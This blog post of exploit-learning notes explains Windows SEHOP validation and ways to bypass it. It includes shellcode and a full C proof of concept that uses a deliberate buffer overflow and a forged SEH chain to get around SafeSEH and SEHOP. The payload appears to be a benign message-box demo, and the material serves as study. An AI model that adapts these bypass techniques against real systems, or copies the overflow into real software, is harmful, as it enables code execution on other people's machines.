Exploit learning notes 020 SEHOP introduction

Introduction to SEHOP and a little simple attack

Source: Moeomu’s blog

Introduction

The core task of SEHOP is to check the integrity of the S.E.H chain. Before the program turns to exception handling SEHOP checks whether the last exception handling function on the S.E.H chain is the ultimate exception handling function fixed by the system. If yes, it means this S.E.H chain is not broken and the program can go to execute the current exception handling function; if it detects that the last exception handling function is not, it means the S.E.H chain is broken and an S.E.H override attack may have occurred and the program will not go to execute the current exception handling function

SEHOP validation pseudocode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (process_flags & 0x40 == 0)  // 如果没有SEH记录则不进行检测
{
    if (record != 0xFFFFFFFF)  // 开始检测
    {
        do
        {
            if (record < stack_bottom || record > stack_top) // SEH 记录必须位于栈中
                goto corruption;
            if ((char *)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 记录结构需完全在栈中
                goto corruption;
            if ((record & 3) != 0) // SEH记录必须4字节对齐
                goto corruption;
            handler = record->handler;
            if (handler >= stack_bottom && handler < stack_top) // 异常处理函数地址不能位于栈中
                goto corruption;
            record = record->next;
        } while (record != 0xFFFFFFFF); // 遍历S.E.H链
    }
    if ((TEB->word_at_offset_0xFCA & 0x200) != 0)
    {
        if (handler != &FinalExceptionHandler) // 核心检测,地球人都知道,不解释了
        goto corruption;
    }
}

Attack ideas

Attack the return address

If the function has SEHOP enabled but not GS enabled or if the function does not have GS enabled, then directly attack the return address

Attack the virtual function

SEHOP only protects SEH, but it does not protect the dummy function table, so the attack on the dummy function can still be successful

Exploit modules that do not have SEHOP enabled

Microsoft has disabled SEHOP for some encryption shells, e.g. Armadilo

  • For example, we can set these two options to 0x53 and 0x52 respectively to simulate a program that has been shelled by Armadilo, so as to Disable SEHOP
  • In Windows 7 and later, the second module pointed to by PEB_LDR_DATA is occupied by KernelBase.dll, so the shellcode should be changed
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Shellcode_for_windows7=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" // 在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

Fake SEH chain table

Prerequisite: ASLR is not enabled

  • Idea

    • Bypass SafeSEH by using SEH_NOSafeSEH_JUMP.dll which is not SafeSEH enabled
    • Bypass SEHOP by forging the S.E.H chain to create the illusion that the S.E.H chain is not broken
    • The test function in SEH_NOSafeSEH has a typical overflow, i.e., it causes a str overflow by copying an extra-long string to str, which in turn overwrites the program’s S.E.H information
    • Use the pop pop retn instruction address in SEH_NOSafeSEH_JUMP.DLL to overwrite the address of the exception handling function, and then transfer the program to exception handling by creating a divide-by-0 exception
    • By hijacking the exception handling process, the program is transferred to SEH_NOSaeSEH_JUMP.DLL to execute the pop pop retn instruction, and after executing retn the program is transferred to shellcode for execution.
  • Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <string.h>
#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record
"\x12\x10\x12\x11" // address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" // 在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF" // the fake seh record
"\x75\xA8\xF7\x77"
;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}

void test(char * input)
{
    char str[200];
    memcpy(str, input, 412);
    int zero = 0;
    __try
    {
        zero = 1 / zero;
    }
    __except(MyException()){}
}

int main()
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSaeSEH_JUMP.dll")); // load No_SafeSEH module
    char str[200];
    test(shellcode);
    return 0;
}
Built with Hugo
Theme Stack designed by Jimmy